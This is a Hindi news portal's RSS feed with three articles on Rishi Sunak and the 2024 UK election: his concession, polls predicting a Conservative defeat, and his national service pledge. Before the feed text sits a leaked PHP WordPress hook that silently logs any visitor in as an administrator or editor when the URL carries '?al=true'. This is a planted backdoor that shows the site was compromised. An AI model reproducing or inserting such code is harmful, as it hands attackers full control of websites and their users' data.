// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Rishi Sunak – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 05 Jul 2024 20:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ब्रिटिश के पहले भारतीय मूल के प्रधानमंत्री ऋषि सुनक ने अपनी कंजर्वेटिव पार्टी की हार को स्वीकार कर लिया https://pratyushaashakinayikiran.com/?p=48508 Fri, 05 Jul 2024 20:35:00 +0000 https://pratyushaashakinayikiran.com/?p=48508 लंदन
आम चुनाव में लेबर पार्टी की धमाकेदार जीत के बाद कीर स्टारमर यूनाइटेड किंगडम के अगले प्रधानमंत्री बनने जा रहे हैं। इसी के साथ 14 साल का कंजर्वेटिव शासन खत्म हो गया है। स्टारमर ने ब्रिटिश लोगों को धन्यवाद दिया। ब्रिटिश के पहले भारतीय मूल के प्रधानमंत्री ऋषि सुनक ने अपनी कंजर्वेटिव पार्टी की हार को स्वीकार कर लिया है। साथ ही उन्होंने माफी मांगी और कीर स्टारमर को बधाई दी। ब्रिटेन के इ चुनावों में कई भारतीय एक बार फिर से बंपर जीत हासिल कर संसद पहुंचे हैं।

पार्टी की करारी हार के बावजूद ऋषि सुनक अपनी रिचमंड और नॉर्थलेर्टन सीटें बचाने में कामयाब रहे। इस साल ब्रिटेन के आम चुनाव में देश के इतिहास में सबसे विविधतापूर्ण संसद बनी है, जिसमें भारतीय मूल के सांसदों की संख्या में उल्लेखनीय वृद्धि हुई। ब्रिटिश फ्यूचर थिंक टैंक द्वारा किए गए पहले के विश्लेषण से पता चलता है कि सत्ता पर आसीन होने जा रही लेबर पार्टी के पास जातीय अल्पसंख्यक सांसदों का सबसे बड़ा दल होगा। वर्ष 2019 में हुए पिछले आम चुनाव में भारतीय मूल के 15 सांसद चुने गए थे, जिनमें से कई दोबारा चुनाव लड़ रहे हैं। उनके अलावा भारतीय मूल के कई लोग पहली बार आम चुनाव लड़ रहे हैं।

इस बार भारतीय मूल के 18 उम्मीदवार जीते
ब्रिटिश मीडिया रिपोर्टों के मुताबिक, इस बार भारतीय मूल के 18 सांसद जीते हैं। इनमें ऋषि सुनक के अलावा, शिवानी राजा, प्रीति पटेल और नवेंदु मिश्रा जैसे नाम शामिल हैं। बता दें कि प्रतिष्ठित ब्रिटिश भारतीयों में से एक कंजर्वेटिव पार्टी के सांसद आलोक शर्मा और लेबर पार्टी के वरिष्ठ नेता वीरेंद्र शर्मा ने इस बार चुनाव नहीं लड़ा था।
जस अथवाल ने लेबर पार्टी के गढ़ इफोर्ड साउथ से चुनाव लड़ा था, जबकि बैगी शंकर डर्बी साउथ, सतवीर कौर साउथम्पटन टेस्ट और हरप्रीत उप्पल ने हडर्सफील्ड से चुनाव लड़ा। इंदौर में जन्मे राजेश अग्रवाल ने पहली बार लीसेस्टर ईस्ट से चुनाव लड़ा था लेकिन वह अन्य ब्रिटिश भारतीय एवं कंजर्वेटिव पार्टी की उम्मीदवार शिवानी राजा से हार गए।

भारतीय मूल के मतदाताओं की अच्छी-खासी तादाद वाले इस निर्वाचन क्षेत्र में मुकाबला दिलचस्प था। गोवा मूल की पूर्व सांसद कीथ वाज भी यहां से निर्दलीय उम्मीदवार के तौर पर चुनाव लड़ रही थीं। इस बीच, ब्रिटिश प्रधानमंत्री ऋषि सुनक के उत्तरी इंग्लैंड में रिचमंड और नॉर्थअलर्टन की अपनी सीट बरकरार में कामयाब रहे। साथ ही उनके मंत्रिमंडल की पूर्व सहयोगी प्रीति पटेल ने एसेक्स में विथम और सुएला ब्रेवरमैन ने फारेहैम तथा वाटरलूविले में जीत हासिल की है। ये सभी भारतीय मूल के हैं।

 

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ब्रिटेन के प्रधानमंत्री ऋषि सुनक की पार्टी की बुरी तरह हार, ओपिनियन पोल में ‘कंजर्वेटिव’ को सिर्फ 21 % वोट https://pratyushaashakinayikiran.com/?p=42199 Sun, 16 Jun 2024 20:55:00 +0000 https://pratyushaashakinayikiran.com/?p=42199 लंदन.

ब्रिटेन में होने वाले आम चुनाव से पहले एक और सर्वे में ब्रिटेन के वर्तमान पीएम ऋषि सुनक की करारी हार की भविष्यवाणी की है।  ताजा तीन सर्वे में कहा गया है कि चार जुलाई को होने वाले आम चुनावों में ब्रिटिश प्रधानमंत्री ऋषि सुनक के नेतृत्व वाली सत्तारूढ़ कंजर्वेटिव पार्टी का इस बार सफाया हो जाएगा। साथ ही सुनक की पार्टी के लिए गंभीर तस्वीर पेश की है। ताजा सर्वे में कीर स्टार्मर की लेबर पार्टी को 46% समर्थन मिला है, जबकि कंजर्वेटिव पार्टी के लिए समर्थन 4 अंक गिरकर 21% हो गया है।

ये ताजा सर्वे मार्केट रिसर्च कंपनी सावंता ने संडे टेलीग्राफ के लिए 12 जून से 14 जून के बीच आयोजित किया गया था। इस सर्वे के नतीजे तब सामने आए हैं जब चुनाव प्रचार का आधे से ज्यादा समय बीत चुका है। एक हफ्ते बाद दोनों ही कंजर्वेटिव और लेबर पार्टियां अपने घोषणा पत्र लेकर जनता के सामने जाने के लिए तैयार हैं। ये घोषणा पत्र लोगों को वोट डालने से कुछ समय पहले ही मिलेगा। ऋषि सुनक ने 22 मई को शीघ्र चुनाव की घोषणा करके अपनी ही पार्टी में कई लोगों को चौंका कर दिया था। सावंता के राजनीतिक अनुसंधान निदेशक क्रिस हॉपकिंस ने कहा कि हमारे शोध से पता चलता है कि इस चुनाव में कंजर्वेटिव पार्टी का बुरी तरह सफाया हो जाएगा। संडे टाइम्स में प्रकाशित सर्वेशन के एक अलग सर्वे में अनुमान लगाया गया है कि कंजर्वेटिव पार्टी 650 सदस्यीय हाउस ऑफ कॉमन्स में केवल 72 सीटों पर सिमट सकती ही – जो उनके लगभग 200 साल के इतिहास में सबसे कम होगा। जबकि लेबर पार्टी को 456 सीटें मिलेंगी।

बेस्ट फॉर ब्रिटेन के सर्वे में भी हुआ था यही दावा
इससे पहले आए बेस्ट फॉर ब्रिटेन के सर्वे में तो यहां तक कहा गया था कि प्रधानमंत्री सुनक खुद अपनी सीट भी नहीं बचा पाएंगे। उस सर्वे में कहा गया था कि पता चला है कि देश में सत्तारूढ़ कंजर्वेटिव पार्टी को इस साल के अंत में होने वाले आम चुनाव में बड़ी हार का सामना करना पड़ सकता है। इतना ही नहीं ब्रिटिश प्रधान मंत्री ऋषि सुनक अपनी उत्तरी यॉर्कशायर सीट भी शायद ही बचा पाएं। बेस्ट फॉर ब्रिटेन ने इस सर्वे से पहले 15,029 लोगों की राय ली थी। जिसके आधार पर तैयार रिपोर्ट में विपक्षी लेबर पार्टी को 45 प्रतिशत वोट शेयर के साथ कंजर्वेटिव की तुलना में 19 अंकों की बढ़त के साथ शीर्ष पर रखा गया है। इसमें यह भी कहा गया है कि आगामी चुनावों में कंजर्वेटिव पार्टी की संभावनाए अपने सबसे निचले स्तर पर पहुंच गई हैं। जिसे देखते हुए कहा जा रहा है कि वे इस बार 100 से भी कम सीटें जीत रहे हैं, वहीं, विपक्षी लेबर पार्टी को इसका खासा फायदा मिलेगा। लेबर पार्टी इस बार 468 सीटें जीत सकती है। सर्वे के मुताबिक, इस बार 28 मौजूदा कैबिनेट सदस्य चुनाव लड़ सकते हैं, उनमें से भी केवल 13 ही दोबारा चुने जाएंगे। इस सर्वे को लेकर पूर्व ब्रेक्सिट सचिव और सुनक के बड़े आलोचक लॉर्ड डेविड फ्रॉस्ट ने प्रतिक्रिया दी। उन्होंने कहा कि नवीनतम सर्वेक्षण आंकड़ों से पता चलता है कि कंजर्वेटिव पार्टी हताशा का सामना कर रही है। उन्होंने कहा कि मतदान समय के साथ बदतर होता जा रहा है, बेहतर नहीं।"

सत्ता-विरोधी लहर से जूझ रही सुनक की पार्टी
इस बीच, चुनाव से पहले आए अधिकांश सर्वे में कंजर्वेटिवों के मुकाबले लेबर पार्टी को आरामदायक बढ़त मिलती हुई दिखाई दे रही है। मौजूदा समय में पार्टी सियासी उथल-पुथल, रोजमर्रा की वस्तुओं में बढ़ती लागत के संकट और बढ़ते आप्रवासन के बीच सत्ता-विरोधी लहर से जूझ रही है।

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कंजर्वेटिव सरकार में सभी युवाओं को सैन्य सेवा होगी अनिवार्य, ब्रिटेन में पीएम ऋषि सुनक का बड़ा एलान https://pratyushaashakinayikiran.com/?p=34680 Sun, 26 May 2024 21:15:00 +0000 https://pratyushaashakinayikiran.com/?p=34680 लंदन.

ब्रिटेन में आम चुनाव के लिए चुनाव प्रचार शुरू हो गया है। प्रधानमंत्री ऋषि सुनक ने रविवार को चुनाव का पहला बड़ा एलान किया, जिसमें उन्होंने कहा कि अगर उनकी कंजर्वेटिव पार्टी की सरकार सत्ता में वापस लौटी तो वे नेशनल आर्मी सर्विस को युवाओं के लिए अनिवार्य बनाएंगे। एलान के मुताबिक 18 साल के युवाओं को 12 महीने के लिए पूर्णकालिक सैन्य सेवा या फिर एक साल के लिए हर महीने के एक सप्ताह के लिए राष्ट्रीय सेवा करने का विकल्प दिया जाएगा।

प्रधानमंत्री ऋषि सुनक ने कहा कि सैन्य नियुक्ति चयनात्मक होगी और इसके लिए परीक्षण और योग्यता तय की जाएगी। युवाओं को सशस्त्र बलों या फिर साइबर सुरक्षा के क्षेत्र में काम करने का मौका दिया जाएगा। एक प्रचार वीडियो में योजना का एलान करते हुए ऋषि सुनक ने कहा कि 'ब्रिटेन में ऐसा बहुत कुछ है, जिस पर हम गर्व कर सकते हैं, लेकिन हमारे समाज में एक समस्या ये है कि हमारी युवा पीढ़ी के पास वो अवसर नहीं हैं, जिनके वो हकदार हैं।'

सुनक बोले- भविष्य खतरनाक
सुनक ने कहा 'ब्रिटेन को खतरनाक और ज्यादा विभाजित भविष्य का सामना कर रहा है। इसमें कोई शक नहीं है कि लोकतांत्रिक मूल्य खतरे में हैं। यही वजह है कि हम एक साहसिक योजना का एलान कर रहे हैं, जिसमें 18 साल के युवा सेना में सेवाएं देंगे या फिर खोजी और राहत अभियान में सेवाएं देंगे।'

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